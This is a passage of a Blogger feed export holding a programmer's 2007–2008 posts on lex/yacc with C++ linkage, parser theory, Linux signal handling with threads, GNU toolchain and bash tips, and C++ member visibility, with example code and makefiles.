href='http://www.blogger.com/feeds/23323574/posts/default/7177779713890649273'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/7177779713890649273'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2008/01/compilers-part-3-lex-yacc-debugging-and.html' title='Compilers Part 3, lex &amp; yacc debugging and error recovery'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-6130623262903132791</id><published>2008-01-29T09:55:00.000-05:00</published><updated>2008-01-31T12:27:23.894-05:00</updated><title type='text'>Compilers Part 2, lex &amp; yacc with C++, types of external linkage</title><content type='html'>Lex and Yacc were traditionally used with C, more importantly lots of default functions provided by the lex/yacc (or flex/bison) library all have C linkage, meaning their function names are not mangled, notably yyparse, yywrap, yyerror.&lt;br /&gt;&lt;br /&gt;yyparse generated by yacc internally calls yylex generated by lex. Therefore it's important that both yyparse and yylex use same linkage, either C or C++. linkage is determined in the definition section.&lt;br /&gt;&lt;br /&gt;For example in this yacc definition of grammar.y:&lt;br /&gt;%{&lt;br /&gt;extern "C"{&lt;br /&gt;extern int yyerror(char *);&lt;br /&gt;}&lt;br /&gt;extern int yylex(void);&lt;br /&gt;%}&lt;br /&gt;&lt;br /&gt;yyerror has C linkage, this parser uses the default yyerror implementation provided by the yacc library (-ly). yylex has the linkage the compiler used to compile the generated source code, in the case (gcc -c y.tab.c) the result yylex will have a C linkage, evidenced by (nm y.tab.o|grep yylex) 'U yylex'&lt;br /&gt;&lt;br /&gt;On the other hand, if g++ is used to compile (g++ -c -x c++ y.tab.c), the result yylex symbol in the grammar object file will have C++ linkage, its name will be mangled as shown by 'nm': 'U _Z5yylexv'. In both cases, 'U' means undefined symbol because it has external linkage and will be provided by another compilation unit. The mangled name can be inspected by 'nm -C y.tab.o|grep lex' which yields 'U yylex()'&lt;br /&gt;&lt;br /&gt;Ok, enough introduction of library, external linkage and nm tricks. The point is when using lex&amp;yacc with C++, it's very important to pay attention to function names and declare proper linkage.&lt;br /&gt;&lt;br /&gt;If we intend to use C++ to compile/link our grammar.y example with a grammar.l lex file, the lex file needs to have the following definition:&lt;br /&gt;%{&lt;br /&gt;extern "C"{&lt;br /&gt;//extern int yylex(void);&lt;br /&gt;}&lt;br /&gt;#include "y.tab.h"&lt;br /&gt;%}&lt;br /&gt;&lt;br /&gt;Note that yylex is specifically commented out to make it clear that it will use the compiler default linkage (C for gcc or C++ for g++).&lt;br /&gt;&lt;br /&gt;Here is a makefile that can be used to compile lex/yacc with C++ code embedded directly.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;sourcecode&gt;&lt;br /&gt;LEX=flex&lt;br /&gt;YACC=bison&lt;br /&gt;CXX=g++&lt;br /&gt;CXXFLAGS=-g -O0&lt;br /&gt;%: %.l %.y&lt;br /&gt;    $(LEX) -t $@.l &gt; $@.c&lt;br /&gt;    if [[ -e $@.y ]] ; then \&lt;br /&gt;        $(YACC) -d --verbose --debug $@.y; \&lt;br /&gt;        $(CXX) $(CXXFLAGS) -c -x c++ $@.tab.c; \&lt;br /&gt;        $(CXX) $(CXXFLAGS) -c -x c++ $@.c; \&lt;br /&gt;        $(CXX) $@.o $@.tab.o -o $@ -ly -lfl -lm ; \&lt;br /&gt;    else \&lt;br /&gt;        $(CXX) $(CXXFLAGS) -o $@ $@.c -lfl -lm ; \&lt;br /&gt;    fi&lt;br /&gt;    @if [[ -e y.tab.c ]] ; then rm $@.tab.c ; fi&lt;br /&gt;    @if [[ -e y.tab.h ]] ; then rm $@.tab.h ; fi&lt;br /&gt;    #@-rm $@.c&lt;br /&gt;clean:&lt;br /&gt;    rm *.o&lt;br /&gt;&lt;/sourcecode&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;If you examine the lex generated source code, you will see something like this:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;sourcecode&gt;&lt;br /&gt;/* Default declaration of generated scanner - a define so the user can&lt;br /&gt; * easily add parameters.&lt;br /&gt; */&lt;br /&gt;#ifndef YY_DECL&lt;br /&gt;#define YY_DECL_IS_OURS 1&lt;br /&gt;&lt;br /&gt;extern int yylex (void);&lt;br /&gt;&lt;br /&gt;#define YY_DECL int yylex (void)&lt;br /&gt;#endif /* !YY_DECL */&lt;br /&gt;/** The main scanner function which does all the work.&lt;br /&gt; */&lt;br /&gt;YY_DECL&lt;br /&gt;{&lt;br /&gt;&lt;/sourcecode&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The extra 'extern' storage specifier for int yylex() is redundant and confusing. According to C and C++ linkage rule, an 'extern' function with a visible definition in the same file will result in external linkage. Since yylex is later defined in the lex generated source code, yylex has external linkage and internal definition (lacking a better term). In the following example, test has external linkage and internal definition; test1 has external linkage and external definition; test2 causes compilation failure. In this nm output, 'T' means the test has internal definition and its definition is in the text section of the object file; 'U' means test1 is undefined (external definition, defined in another translation/compilation unit/object file).&lt;br /&gt;&lt;br /&gt;00000000 T test&lt;br /&gt;         U test1&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;sourcecode&gt;&lt;br /&gt;#include &lt; errno.h&gt;&lt;br /&gt;extern int errno;&lt;br /&gt;&lt;br /&gt;int errno;&lt;br /&gt;&lt;br /&gt;extern int test();&lt;br /&gt;extern int test1();&lt;br /&gt;extern int test2();&lt;br /&gt;&lt;br /&gt;int test(){&lt;br /&gt;    test1();&lt;br /&gt;    test();&lt;br /&gt;    errno = 10;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;static int test2(){&lt;br /&gt;    test();&lt;br /&gt;}&lt;br /&gt;&lt;/sourcecode&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;References:&lt;br /&gt;1. http://publications.gbdirect.co.uk/c_book/chapter4/linkage.html&lt;br /&gt;2. http://publications.gbdirect.co.uk/c_book/chapter8/declarations_and_definitions.html&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-6130623262903132791?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/6130623262903132791'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/6130623262903132791'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2008/01/lex-yacc-with-c-types-of-external.html' title='Compilers Part 2, lex &amp; yacc with C++, types of external linkage'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-9099743261322830280</id><published>2008-01-22T10:14:00.000-05:00</published><updated>2008-01-31T12:26:50.611-05:00</updated><title type='text'>Compilers Part 1, top-down vs. bottom-up and why nested C style comment is disallowed</title><content type='html'>Yacc allows BNF syntax such as this (note definition section is omitted for illustration purpose):&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;sourcecode&gt;&lt;br /&gt;program:&lt;br /&gt;      program statement '\n'&lt;br /&gt;    | &lt;br /&gt;    ;&lt;br /&gt;&lt;br /&gt;statement:&lt;br /&gt;      expression&lt;br /&gt;    | VARIABLE '=' expression&lt;br /&gt;    ;&lt;br /&gt;&lt;br /&gt;expression:&lt;br /&gt;      INTEGER&lt;br /&gt;    | VARIABLE&lt;br /&gt;    | expression '+' expression&lt;br /&gt;    | expression '-' expression&lt;br /&gt;    | expression '*' expression&lt;br /&gt;    | expression '/' expression&lt;br /&gt;    | '(' expression ')'&lt;br /&gt;    ;&lt;br /&gt;&lt;br /&gt;&lt;/sourcecode&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;A program is a collection of statements and has a left recursion in its grammar. Now this would have been a problem for a top-down (predicative) or recursive descent or LL (left to right and left most derivation) parser due to the fact that left recursive grammar causes indefinite parsing of input string. Yacc has no problem with such kind of grammar because Yacc is a bottom-up or shift-reduce or LR (left to right and producing right most derivation) parser. In fact left recursive grammar produces better parser with Yacc due to less number of stack entries used during shift-reduce. &lt;br /&gt;&lt;br /&gt;Often hand crafted lexers and parsers take LL(k) approach, that is LL with k # of characters look ahead. As the LL parser reads a input string, it generates a syntax tree started from nothing (root). It's done more often simply because it's easier to write a LL(k) parser.&lt;br /&gt;&lt;br /&gt;LR or shift-reduce parser often has an easier time parsing because a LR parser is an automaton suitable for parsing string patterns efficiently (Refer to the finite automaton regex pattern matching algorithm in Introduction to Algorithm). Often course it's possible and done to hand craft LR parsers.&lt;br /&gt;&lt;br /&gt;In improved form LALR (look ahead left to right right most derivation production) parser such as Yacc, stacks are used to support shift-reduce and reduce-reduce operations. Yacc takes a default action when there is a conflict. For shift-reduce conflicts, yacc will shift. For reduce-reduce conflicts, it will use the first rule in the listing. It also issues a warning message whenever a conflict exists.&lt;br /&gt;&lt;br /&gt;A common problem is parsing of a c comment /* this is a comment *****/,  such syntax can be expressed as:&lt;br /&gt;&lt;br /&gt;comment.l&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;sourcecode&gt;&lt;br /&gt;%%&lt;br /&gt;"/*"        {&lt;br /&gt;            register int c;&lt;br /&gt;&lt;br /&gt;            for ( ; ; )&lt;br /&gt;                {&lt;br /&gt;                while ( (c = input()) != '*' &amp;&amp;&lt;br /&gt;                        c != EOF )&lt;br /&gt;                    ;    /* eat up text of comment */&lt;br /&gt;&lt;br /&gt;                if ( c == '*' )&lt;br /&gt;                    {&lt;br /&gt;                    while ( (c = input()) == '*' )&lt;br /&gt;                        ;&lt;br /&gt;                    if ( c == '/' )&lt;br /&gt;                        break;    /* found the end */&lt;br /&gt;                    }&lt;br /&gt;&lt;br /&gt;                if ( c == EOF )&lt;br /&gt;                    {&lt;br /&gt;                    error( "EOF in comment" );&lt;br /&gt;                    break;&lt;br /&gt;                    }&lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;%%&lt;br /&gt;&lt;/sourcecode&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;In this example, the lexer simply skips the comment, also note that nested comments are not allowed. This lexer code is prevalent in most C compiler implementation and is the reason why nested comment is still not allowed in C regardless the advance of parsing technology.&lt;br /&gt;&lt;br /&gt;Do use lex/yacc to implement scanner/parsers instead of handcrafting them.&lt;br /&gt;&lt;br /&gt;On using lex/yacc with C++:&lt;br /&gt;"To summarize: don't bother to compile your Lexer in C++, keep it in C. Make your Parser in C++ and explain your compiler that some functions are C functions with extern "C" statements."&lt;br /&gt;&lt;p&gt;&lt;br /&gt;References&lt;br /&gt;1. http://www.lysator.liu.se/c/ANSI-C-grammar-l.html&lt;br /&gt;2. http://www.garshol.priv.no/download/text/bnf.html&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-9099743261322830280?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/9099743261322830280'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/9099743261322830280'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2008/01/parsers-top-down-vs-bottom-up.html' title='Compilers Part 1, top-down vs. bottom-up and why nested C style comment is disallowed'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-2216029525509522989</id><published>2008-01-18T10:42:00.000-05:00</published><updated>2008-01-22T14:44:47.657-05:00</updated><title type='text'>Notes on Linux signal in the context of process and thread</title><content type='html'>Handing Linux signals correctly is difficult, for a few reasons 1) Linux signal descends from the archaic Unix SysV signal system, it still supports the signal/pause calls etc that are susceptible to race conditions and all kinds of haphazard ways of bad signal handling practice; 2) The POSIX standard is intentionally cloudy on a couple of signal related issues, e.g. fields in siginfo_t; 3) Linux signal does not always follow the POSIX standard; 4) There are still lots of code using the SysV signal mechanism, that should be migrated to the better POSIX system. &lt;br /&gt;&lt;br /&gt;Linux Programming by Example has an excellent chapter on Linux signal handling. The picture is not complete because Linux thread increases the complexity of signal handling. The following code tries to demonstrate a few important points of Linux signal handling in the context Linux threads:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;sourcecode&gt;&lt;br /&gt;/*&lt;br /&gt;1. there is no per thread signal mask or signal handler, these concepts only&lt;br /&gt;applies to a process&lt;br /&gt;&lt;br /&gt;2. raise and kill work differently with pthreads&lt;br /&gt;&lt;br /&gt;3. synchronous signal raised by a thread goes to that thread itself *only* not the process group&lt;br /&gt;&lt;br /&gt;*/&lt;br /&gt;#include &lt; iostream&gt;&lt;br /&gt;using namespace std;&lt;br /&gt;&lt;br /&gt;#include &lt; boost/thread/thread.hpp&gt;&lt;br /&gt;&lt;br /&gt;extern "C"{&lt;br /&gt;#include &lt; signal.h&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;volatile sig_atomic_t interrupted = 0;&lt;br /&gt;int standby_thr_pid = (long int)syscall(224);&lt;br /&gt;&lt;br /&gt;//#define SI_USER     0       /* sent by kill, sigsend, raise */&lt;br /&gt;//#define SI_KERNEL   0x80        /* sent by the kernel from somewhere */&lt;br /&gt;//#define SI_QUEUE    -1      /* sent by sigqueue */&lt;br /&gt;//#define SI_TIMER __SI_CODE(__SI_TIMER,-2) /* sent by timer expiration */&lt;br /&gt;//#define SI_MESGQ __SI_CODE(__SI_MESGQ,-3) /* sent by real time mesq state change */&lt;br /&gt;//#define SI_ASYNCIO  -4      /* sent by AIO completion */&lt;br /&gt;//#define SI_SIGIO    -5      /* sent by queued SIGIO */&lt;br /&gt;//#define SI_TKILL    -6      /* sent by tkill system call */&lt;br /&gt;//#define SI_DETHREAD -7      /* sent by execve() killing subsidiary threads */&lt;br /&gt;&lt;br /&gt;// pid = 0 uid = 0 -&gt; process itself&lt;br /&gt;// else pid &gt; 0 uid &gt; 0 -&gt; external process sent signal&lt;br /&gt;// si_code = 128 (0x80) sent by kernel, e.g. interactive terminal ctl+c&lt;br /&gt;// si_code = -6         sent by tkill&lt;br /&gt;// si_code = 0          sent by kill/killpg/raise call&lt;br /&gt;// there is no per thread signal handler, signal handler is installed&lt;br /&gt;// process wise always&lt;br /&gt;void ctlc(int sig, siginfo_t * info, void * context){&lt;br /&gt;    interrupted = 1;&lt;br /&gt;    int pid = (long int)syscall(224);&lt;br /&gt;    cout &lt;&lt; pid &lt;&lt; " received: " &lt;&lt;&lt;br /&gt;    sig &lt;&lt; ' ' &lt;&lt; info-&gt;si_code &lt;&lt; ' ' &lt;&lt; info-&gt;si_pid &lt;&lt; ' ' &lt;&lt; info-&gt;si_uid &lt;&lt; '\n';&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// raise SIGINT in a separate thread&lt;br /&gt;void sig_sender(void){&lt;br /&gt;    cout &lt;&lt; "sig sender " &lt;&lt; (long int)syscall(224) &lt;&lt; '\n';&lt;br /&gt;    sleep(3);&lt;br /&gt;    raise(SIGINT);          // raise = kill(getpid(), sig) in process, signal sent to sender itself only&lt;br /&gt;    sleep(1);&lt;br /&gt;    kill(standby_thr_pid, SIGINT); // signal only sent to the standby thread process/thread&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void sig_receiver(void){&lt;br /&gt;    //sigset_t set, old_set;&lt;br /&gt;&lt;br /&gt;    //sigaddset(&amp;set, SIGINT);&lt;br /&gt;    //sigprocmask(SIG_BLOCK, &amp;set, &amp;old_set);&lt;br /&gt;&lt;br /&gt;    cout &lt;&lt; "sig installer: " &lt;&lt; (long int)syscall(224) &lt;&lt; '\n';&lt;br /&gt;    struct sigaction act, old_act;&lt;br /&gt;    sigaddset(&amp;(act.sa_mask), SIGINT);&lt;br /&gt;    sigaddset(&amp;(act.sa_mask), SIGSEGV);&lt;br /&gt;    act.sa_flags = SA_SIGINFO;&lt;br /&gt;    act.sa_sigaction = ctlc;&lt;br /&gt;&lt;br /&gt;    sigaction(SIGINT, &amp;act, &amp;old_act);&lt;br /&gt;    sigaction(SIGSEGV, &amp;act, &amp;old_act);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void standby(void){&lt;br /&gt;    standby_thr_pid = (long int)syscall(224);&lt;br /&gt;    cout &lt;&lt; "sig standby " &lt;&lt; standby_thr_pid &lt;&lt; '\n';&lt;br /&gt;    sleep(5);&lt;br /&gt;}&lt;br /&gt;// one thread acts as sender, the other receiver&lt;br /&gt;int main(){&lt;br /&gt;    boost::thread trs(sig_sender);&lt;br /&gt;    boost::thread trr(sig_receiver);&lt;br /&gt;    boost::thread trsb(standby);&lt;br /&gt;    while(true){&lt;br /&gt;        sleep(1);&lt;br /&gt;        if(interrupted){&lt;br /&gt;            cout &lt;&lt; "interrupt handler invoked\n";&lt;br /&gt;            interrupted = 0;&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;/sourcecode&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-2216029525509522989?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/2216029525509522989'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/2216029525509522989'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2008/01/notes-of-linux-signal-in-context-of.html' title='Notes on Linux signal in the context of process and thread'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-4827538419023226987</id><published>2008-01-10T13:34:00.000-05:00</published><updated>2008-01-10T13:42:00.979-05:00</updated><title type='text'>Annoying issue with Linux sound</title><content type='html'>To this day, linux sound device cannot be shared by multiple sound players. Typially /dev/dsp is locked by a single process and no other process can access it and output any sound. This is quite annoying because sometimes it's difficult to figure out what process has the lock on /dev/dsp. lsof does not do anything. &lt;br /&gt;&lt;br /&gt;If you insist to reuse the sound device, you have to restart the sound service. This is /etc/init.d/alsasound on Suse Linux. Restarting the sound service will cause termination of locking process (through SIGIO or SIGPIPE I imagine) and release the sound device. After which (in gnome) add back the volume control applet to the application tray in lower right corner.&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-4827538419023226987?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/4827538419023226987'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/4827538419023226987'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2008/01/annoying-issue-with-linux-sound.html' title='Annoying issue with Linux sound'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-1003629164950998729</id><published>2008-01-03T13:51:00.000-05:00</published><updated>2008-01-03T13:52:03.845-05:00</updated><title type='text'>Graph algorithms, data structures, pattern, and algorithm correctness</title><content type='html'>&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-1003629164950998729?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/1003629164950998729'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/1003629164950998729'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2008/01/graph-algorithms-data-structures.html' title='Graph algorithms, data structures, pattern, and algorithm correctness'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-7460970890354305102</id><published>2008-01-03T12:16:00.000-05:00</published><updated>2008-01-25T20:26:40.636-05:00</updated><title type='text'>GNU tool chain</title><content type='html'>I have been quite busy with several projects for the last month (hence the lack of blog activity) and in the process, I've learnt a few tricks about makefile, vim/cscope, and man page.&lt;br /&gt;&lt;br /&gt;Given a large project on GNU/linux, it's often necessary to first cross reference the code, getting a higher level overview of the data structures, generate man pages of essential APIs and data types. &lt;br /&gt;&lt;br /&gt;The following tools are my favorite&lt;br /&gt;&lt;br /&gt;1. umbrello, for creating high level UML diagrams of essential data structures and APIs&lt;br /&gt;2. cscope, ctags to generate cross reference, sometimes I also use lxr for c/c++ projects&lt;br /&gt;3. creating man pages, this generally involves a few shell scripts and perl scripts to convert html document to man page.&lt;br /&gt;4. use small test programs to understand the existing framework's APIs and design structure.&lt;br /&gt;&lt;br /&gt;During the process, I found it's essential to have a basic knowledge of the following GNU toolchain to make a developer's life easier:&lt;br /&gt;&lt;br /&gt;1. bash scripting. Writing bash script is like writing assembly, succinct, efficient, and to the point. One additional trick is the bash built in 'help' command to look up information on bash builtin commands, e.g. 'help for'&lt;br /&gt;&lt;br /&gt;2. vim or emacs. After 13 years of vim, there are still new things to be learnt, this is a keybind macro I devised recently to lookup C++ stl API/data structures directly from SGI website inside vim (look at the html source code directly to see how this macro is done, there is no direct way to expose it through blogspot):&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;:vmap &lt;C-k&gt; :&lt;C-U&gt;!links -dump http://www.sgi.com/tech/stl/&lt;C-R&gt;=expand('&lt;cword&gt;')&lt;CR&gt;.html\|vim -R -&lt;CR&gt;&lt;CR&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Enter visual mode (v), highly your keyword, and push Ctrl+k, this will take you to another vim session with the page downloaded and formatted. Isn't it neat?&lt;br /&gt;&lt;br /&gt;3. makefile. It's naive to think of makefile/make as only a compile/link tool. It's more than that. Ever notice its similarity with the EBNF form in terms of structure? Yes it's actually an automaton, a complete turing machine. It can be literally used to perform any task C/C++/Perl etc can do. Its EBNF structure provides a powerful and intuitive hierarchical approach to resolve difficult problems. &lt;br /&gt;&lt;br /&gt;4. The old and good man page. Use 'shift+k' inside vim on a keyword (non visual mode) to get its man page, this is default installed in vim. Typically MANPATH is the search path for man pages. I have not found a good way to break up long lines in man pages. COLUMNWIDTH etc does not seem to affect man page generation from a text file with troff.&lt;br /&gt;&lt;br /&gt;References:&lt;br /&gt;1. http://www.hsrl.rutgers.edu/ug/shell_help.html&lt;br /&gt;2. http://vim.wikia.com/wiki/Mapping_keys_in_Vim_-_Tutorial_(Part_1)#Visual_mode_maps&lt;br /&gt;3. http://www.osdev.org/wiki/Makefile&lt;br /&gt;4. Bash Cookbook solutions and examples for bash users&lt;br /&gt;5. Hacking vim a cookbook to get the most out of the latest vim editor&lt;br /&gt;6. http://www.gnu.org/software/make/manual/make.html (unfortunately there is not a single book available to systematically introduce gnu make to general public. The manual remains the sole source of comprehensive explanation of gnu make)&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-7460970890354305102?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/7460970890354305102'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/7460970890354305102'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2008/01/gnu-tool-chain.html' title='GNU tool chain'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-1172379827194411615</id><published>2007-11-20T14:54:00.000-05:00</published><updated>2007-11-21T11:12:46.538-05:00</updated><title type='text'>Bash resources</title><content type='html'>To work productively on a linux platform, it's essential to learn a few bash tricks to improve productivity and efficiency.&lt;br /&gt;&lt;br /&gt;Rules of bash variable expansion:&lt;br /&gt;&lt;br /&gt;• Parameter expansion means that we could use other shell variables in this&lt;br /&gt;expression, as in: ${BASE:=${HOME}}.&lt;br /&gt;• Tilde expansion means that we can use expressions like ~bob and it will expand&lt;br /&gt;that to refer to the home directory of the username bob. Use ${BASE:=~uid17} to&lt;br /&gt;set the default value to the home directory for user uid17, but don’t put quotes&lt;br /&gt;around this string, as that will defeat the tilde expansion.&lt;br /&gt;• Command substitution is what we used in the example; it will run the commands&lt;br /&gt;and take their output as the value for the variable. Commands are&lt;br /&gt;enclosed in the single parentheses syntax, $( cmds ).&lt;br /&gt;• Arithmetic expansion means that we can do integer arithmetic, using the $(( ... ))&lt;br /&gt;syntax in this expression. Here’s an example:&lt;br /&gt;echo ${BASE:=/home/uid$((ID+1))}&lt;br /&gt;&lt;br /&gt;References:&lt;br /&gt;&lt;reference&gt;&lt;br /&gt;1. My Favorite bash Tips and Tricks&lt;br /&gt;http://www.linuxjournal.com/article/7385&lt;br /&gt;&lt;br /&gt;2. Power shell usage: bash tips and tricks&lt;br /&gt;http://www.ukuug.org/events/linux2003/papers/bash_tips/index.html&lt;br /&gt;&lt;br /&gt;3. Discover best bash and bash sites&lt;br /&gt;http://www.blinklist.com/tag/bash/&lt;br /&gt;&lt;br /&gt;4. http://geeki.wordpress.com/category/bash/&lt;br /&gt;&lt;br /&gt;5. http://devmanual.gentoo.org/tools-reference/bash/index.html&lt;br /&gt;&lt;/reference&gt;&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-1172379827194411615?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/1172379827194411615'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/1172379827194411615'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/11/bash-resources.html' title='Bash resources'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-3055616026131622157</id><published>2007-11-20T11:31:00.000-05:00</published><updated>2007-11-20T11:46:40.385-05:00</updated><title type='text'>C++: function visibility and accessibility: lookup and overloading</title><content type='html'>C++ has some esoteric feature concerning private class member names visibility and accessibility. By definition, a private class member name is only accessible by the class members and friends. However the rule of visibility can confuse many programmers. Herb Sutter has summarized these rules in a great article '(Mostly) Private' published on DDJ.&lt;br /&gt;&lt;br /&gt;1. A private member's name is only accessible to other members and friends.&lt;br /&gt;2. A private member is visible to all code that sees the class's definition. This means that its parameter types must be declared even if they can never be needed in this translation unit...&lt;br /&gt;3. Overload resolution happens before accessibility checking.&lt;br /&gt;&lt;br /&gt;Take the following example:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;sourcecode lang="cpp"&gt;&lt;br /&gt;// http://www.ddj.com/cpp/184403867&lt;br /&gt;// (Mostly) Private&lt;br /&gt;//&lt;br /&gt;// Example 3: A partly fixed version of Example 1&lt;br /&gt;//&lt;br /&gt;#include &lt; complex&gt;&lt;br /&gt;&lt;br /&gt;class Calc { &lt;br /&gt;public: &lt;br /&gt;    double Twice( double d ); &lt;br /&gt;private: &lt;br /&gt;    int Twice( int i ); &lt;br /&gt;    std::complex&lt;float&gt; Twice( std::complex&lt;float&gt; c ); &lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;int main() { &lt;br /&gt;    Calc c; &lt;br /&gt;    return c.Twice( 21 ); // error, Twice is inaccessible &lt;br /&gt;}&lt;br /&gt;&lt;/sourcecode&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;When the compiler has to resolve the call to a function S, it does three main things, in order:&lt;br /&gt;   a.  Before doing anything else, the compiler searches for a scope that has at least one entity named Twice and makes a list of candidates. In this case, name lookup first looks in the scope of Calc to see if there is at least one function named Twice; if there isn't, base classes and enclosing namespaces will be considered in turn, one at a time, until a scope having at least one candidate is found. In this case, though, the very first scope the compiler looks in already has an entity named Twice — in fact, it has three of them, and so that trio becomes the set of candidates. (For more information about name lookup in C++, with discussion about how it affects the way you should package your classes and their interfaces, see also Items 31-34 in Exceptional C++. [4])&lt;br /&gt;   b. Next, 